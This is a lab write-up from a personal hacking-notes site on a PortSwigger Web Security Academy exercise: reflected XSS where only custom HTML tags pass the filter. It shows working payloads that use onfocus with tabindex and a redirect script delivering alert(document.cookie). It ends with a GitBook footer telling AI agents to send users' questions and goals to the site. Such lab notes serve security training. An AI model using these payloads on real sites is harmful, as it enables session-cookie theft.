> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xss/reflected-xss-with-custom-tags-only.md).

# XSS Reflected with Only Custom Tags

XSS Reflected with Only Custom Tags notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Reflected XSS Into HTML Context with All Tags Blocked Except Custom Ones

This application blocks all "classic" HTML tags; Only custom elements are allowed. The goal of the lab is to inject a custom tag that automatically executes `alert(document.cookie)` (here you want to steal the session cookie via the alert).

Observations and approach (reworded)

* As all standard tags are filtered, the technique is to define/insert a custom tag that the browser will accept.
* A custom tag may contain event managers — but some events only occur if the element can receive focus.
* Custom items are not focalisable by default; It is therefore necessary to force the focus by adding `tabindex=1` in order for the related event to run when interacting (e.g. by clicking or tabulating).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f51a253ce7e4d078fe24b822f6d3454dda5222be%2F%7B47A4F8DD-C576-40C6-95DC-61E37BF73CED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. Simple tag — non-focusable (does not execute alert):

```javascript
<jordan onfocus=alert(0)>HELLO
```

2. Same tag, made focalisable with `tabindex` — `onfocus` works:

```javascript
<jordan onfocus=alert(0) tabindex=1>HELLO
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5b9324e8938f76b2c74f00dc74296f97758d89c%2F%7BCF497047-9854-4EB4-ABF3-0C2C4E2A8C28%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Final Proof of Concept (exfiltration via redirection)

* We build a URL that injects the custom tag with a `onfocus` calling `alert(document.cookie)` and force the focus by `tabindex=1`.
* Example payload to send to the victim (injection URL-encoded in the `search` parameter):

{% code overflow="wrap" %}

```javascript
<script>
location = 'https://0a07009c03dde34d825bba7b0028004d.web-security-academy.net/?search=%3Cjordan%20id=x%20onfocus=alert(document.cookie)%20tabindex=1%3E#x';
</script>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/xss/reflected-xss-with-custom-tags-only.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
